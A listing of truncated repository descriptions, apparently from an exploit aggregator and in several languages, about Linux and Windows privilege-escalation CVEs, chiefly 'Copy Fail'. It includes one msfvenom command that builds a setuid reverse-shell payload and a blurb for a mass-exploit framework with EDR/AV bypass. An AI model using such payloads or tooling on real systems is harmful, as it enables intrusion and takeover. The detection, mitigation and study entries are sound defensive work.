ForgottenButNotGone

忘れられたが、消えてはいない このリポジトリには、Black Hat USA 2026 および DEF CON 34 で発表された講演「Forgotten but Not Gone: Unauthenticated RCEs and LPEs in Legacy Linux Services」で紹介された脆弱性の概念実証スクリプトが含まれています。 CVE-2026-28372 TelnetD におけるローカル権限昇格: 非特権攻撃者は、TelnetD の環境変数機能を悪用して、root 権限のシェルを取得できます。設計上およびその RFC に従い、Telnet...

CVE-2026-3888

CVE-2026-3888 - snap-confine + systemd-tmpfiles 本地权限提升 免责声明： 本仓库仅用于教育目的 。所有内容均基于 Qualys 于 2026 年 3 月 17 日发布的原始安全公告。该漏洞已被修复——请始终确保您的系统保持最新状态。请勿将本材料用于您不拥有或未经明确书面许可测试的系统。 概述 CVE-2026-3888 是一个影响 Ubuntu Desktop = 24.04 默认安装的本地权限提升（LPE）漏洞。该漏洞由 Qualys 于 2026 年 3 月发现并公开披露。 正如 Qualys...

CVE-2019-6225-macOS

CVE-2019-6225 macOS ≤ 10.14.2에서 CVE-2019-6225를 통한 로컬 권한 상승 다른 기기에서는 아직 테스트되지 않았으며, 일부 하드코딩된 값이 정확하지 않을 수 있습니다. SMAP이 활성화된 기기에서는 작동하지 않습니다. 첫 번째 실행 결과와 관계없이 두 번째 실행 시 시스템이 충돌합니다. 대부분의 코드는 PsychoTea/machswap을 기반으로 합니다. 특별 감사: root@kitploit: @bazad, @S0rryMyBad - 버그 발견 @S1guza - 도움 @PsychoTea - 코드 및...

CVE-2026-31431

CVE-2026-31431 — Copy Fail Escalada de Privilegios Local en la plantilla criptográfica authencesn del kernel de Linux mediante AFALG + splice. Divulgado el 29 de abril de 2026 por Theori Xint Code. Resumen Campo| Detalle ---|--- CVE| CVE-2026-31431 Apodo| Copy Fail CVSS| 7.8 ALTO Tipo| Escalada d...

CVE-2026-31431-Copy-Fail

CVE-2026-31431 —「Copy Fail」：Linux カーネル algifaead のローカル権限昇格 CISA KEV | CVSS 7.8 HIGH | Linux カーネル 4.14 〜 2026年初頭に影響（約9年間） 目次 1. エグゼクティブサマリー 2. リスク評価 3. 技術的詳細 4. 攻撃手法 — レッドチーム 5. 検知とインシデント対応 — ブルーチーム 6. パッチ適用と修復 7. ラボ環境 8. 参考情報 1. エグゼクティブサマリー CVE-2026-31431 は、通称 「Copy Fail」 と呼ばれる、Linux...

alg_check

⚠️ 重要免責事項: 構造的ハードニングのリスク このツールは、カーネルモジュールを物理的にリネームし、メモリからパージすることで CVE-2026-31431 を緩和する 構造的ブロッキング を実装しています。使用前に、以下のアーキテクチャ上のリスクを認識してください: カーネル更新による変動性 : ハードニングの効果は 一時的 です。カーネル更新により、新しい /lib/modules/ ディレクトリ配下に脆弱なモジュールが新規展開され、以前の妨害措置は無効になります。 機能的な副作用 :...

CVE-2026-68820_Mass_Exploit

CVE-2026-68820 — マスエクスプロイトフレームワーク版 AFD.sysドライバ（補助機能ドライバ）のuse-after-free脆弱性を悪用し、 NT AUTHORITY\SYSTEMへのマスローカル権限昇格（LPE）を実行する自動化モジュールです。 本エクスプロイトは企業環境向けに設計されています： Windows 10/11（2025〜2026年の全ビルド）に対応 PPL保護をバイパス 完全にパッチ適用済みのシステムでも安定動作 信頼済みプロセスインジェクションと署名ランダム化による 内蔵EDR/AVバイパス...

CVE-2026-31431

CVE-2026-31431（Copy Fail）— C PoC AFALG のロジックバグ（カーネル 4.14 → 2026年初頭）を利用して、任意の読み取り可能なファイルのページキャッシュに制御された4バイトを書き込むことで実現する、特権を必要としない単純なLPE。 メモリ内の /usr/bin/su を破壊してから実行する → root 取得。 ビルドと実行 root@kitploit: 1. ELFペイロードを生成（リバースシェルの例） msfvenom -p linux/x86/shellreversetcp LHOST= LPORT= PrependSetuid=true ...

copyfail

CVE-2026-31431 — 「Copy Fail」安全検出スクリプト Copy Fail Linuxカーネルローカル権限昇格脆弱性のための読み取り専用検出スクリプトです。 エクスプロイトコードは含まれません。AFALGソケットは開きません。/etc/modprobe.d 以外にファイルを書き込むことはありません（手動で緩和策を適用する場合のみ）。 背景 Copy Fail （CVE-2026-31431）は、Linuxカーネルの algifaead モジュール — AFALGユーザースペース暗号APIの一部 — における論理的な欠陥です。2026年4月29日 に Theori /...

CVE-2022-0185-Case-Study

CVE-2022-0185-Case-Study このケーススタディは、ECE 9069: Introduction to Hacking の課題の成果物です: https://whisperlab.org/introduction-to-hacking/ CVE-2022-0185 概要 CVE-2022-0185 は、Linux カーネルの Filesystem Context 機能の legacyparseparam...

HTB-Snapped-Writeup

HTB-Snapped-Writeup HTB Snapped — Hard Linux マシンのwriteup。CVE-2026-27944（Nginx UI の認証なしバックアップ開示）を CVE-2026-3888（snapd の競合状態による LPE）と連鎖させ、システム全体の完全な侵害を達成。 HTB: Snapped — Writeup 難易度: Hard OS: Linux Ubuntu 24.04 リリース日: 2026年3月23日 CVE: CVE-2026-27944, CVE-2026-3888 概要 Snapped は、nginx...

CVE-2026-31431-Copy-Fail---Advanced-LPE-Proof-of-Concept---C-Rewrite

CVE-2026-31431（「Copy Fail」）- 高度なLPE概念実証 - C言語リライト CVE-2026-31431 に対する高度なバイト完全一致のローカル権限昇格（LPE）概念実証（PoC）です。Linuxカーネルの暗号サブシステム（algifaead）における論理的な欠陥を悪用します。 このリポジトリには、AFALG ソケットインターフェースと splice システムコールを操作して読み取り専用のページキャッシュメモリを確実に上書きする、高度に最適化されたC実装が含まれています。 脆弱性の概要 「Copy...

CVE-2026-31431

CopyFail2 CVE-2026-31431 - Python実装 xfrm ESP-in-UDP MSGSPLICEPAGES no-COW 高速パスを利用したCopyFail2カーネルエクスプロイトのPython移植版。非特権Linuxユーザーによるローカル権限昇格を実現します。 /etc/passwd 内の nologin/false エントリをパスワードなしのuid-0ユーザーに置き換え、su 経由でrootシェルに移行します。 脆弱性 このカーネルバグは、xfrm ESP-in-UDPカプセル化で使用されるUDPスプライスパスに存在します。MSGSPLICEPAGES...

XCP_ng_CVE-2026-31431_tester

CVE-2026-31431「Copy Fail」— XCP-ng ラボラトリ検出器 CVE-2026-31431（「Copy Fail」）向けの安全で非破壊的な検出スクリプトです。XCP-ng 8.3 LTS （2026年5月5日のセキュリティ更新前）で検証済みです。 ⚠️ 許可された用途のみ。 このスクリプトは、所有しているシステム、または明示的にテストを許可されたシステムでのみ実行してください。 背景 CVE-2026-31431（通称「Copy...

copy-fail-CVE-2026-31431-poc

CVE-2026-31431 — Copy Fail 概念実証（PoC） このリポジトリには、CVE-2026-31431 の概念実証（PoC）エクスプロイトが含まれています。これは、任意の非特権ローカルユーザーが root アクセスを取得できる、深刻度の高い Linux カーネルのローカル権限昇格の脆弱性です。「Copy Fail」と呼ばれるこの欠陥は algifaead モジュールに存在し、AFALG ソケットインターフェースと splice システムコールを組み合わせることで、setuid バイナリである /usr/bin/su...

CVE-2026-31431-Exploit

CVE-2026-31431（「Copy Fail」）エクスプロイト CVE-2026-31431 脆弱性に対するプロフェッショナルな概念実証コード。Linux カーネルの algifaead / authencesn ページキャッシュ処理における重大な欠陥です。 概要 CVE-2026-31431 脆弱性は、通称 「Copy Fail」 と呼ばれ、2026年4月29日に公開されたページキャッシュのスクラッチ書き込みバグです。この脆弱性により、権限のないローカルユーザーがディスク上のファイルを変更することなく、/etc/passwd や /usr/bin/su...

copy-fail-CVE-2026-31431

CVE-2026-31431 — Copy Fail AFALG + splice によるページキャッシュ上書きを利用した Linux カーネルローカル権限昇格 認可されたセキュリティ研究、ペネトレーションテスト、および教育目的のみに使用してください。 所有していないシステム、または明示的な書面による許可を得ていないシステムに対しては使用しないでください。 技術解説 目次 説明 脆弱性の詳細 リポジトリ構成 クイックスタート 検出 要件 緩和策 テスト環境（任意） 参考情報 ライセンス 説明 CVE-2026-31431 は、Linux...

CVE-2026-31431-Analysis-and-Fix

CVE-2026-31431「Copy Fail」— 技術詳細解説 深刻度: CVSS 7.8（高） 分類: ローカル権限昇格 導入: Linux 4.14（2017年） 修正: コミット a664bf3d603d 1. 背景 CVE-2026-31431 は、Linux カーネルの algifaead モジュール — カーネルのユーザー空間 Crypto API（AFALG）の AEAD ソケットインターフェース — におけるローカル権限昇格の脆弱性です。 この脆弱性により、権限のないユーザーが Linux カーネルの Crypto API のアドレスファミリー AFALG...

CVE-2026-31431

CVE-2026-31431 — Copy Fail 中文版 732 Bytes para Root en Todas las Principales Distribuciones de Linux CVE-2026-31431 Copy Fail es un error lógico en la plantilla criptográfica authencesn del kernel de Linux. Permite que un usuario local sin privilegios active una escritura determinista y controlada...

CVE-2026-31431-PoC

PoC CVE-2026-31431 Escalada de Privilegios Local en el Kernel de Linux mediante Escritura en Caché de Páginas de algifaead "Copy Fail" Autor: Van Glenndon Enad Descubrimiento Original: Theori / Xint Code Research Team Taeyang Lee Publicado: 29 de abril de 2026 Severidad: Alta Puntuación CVSS v3.1...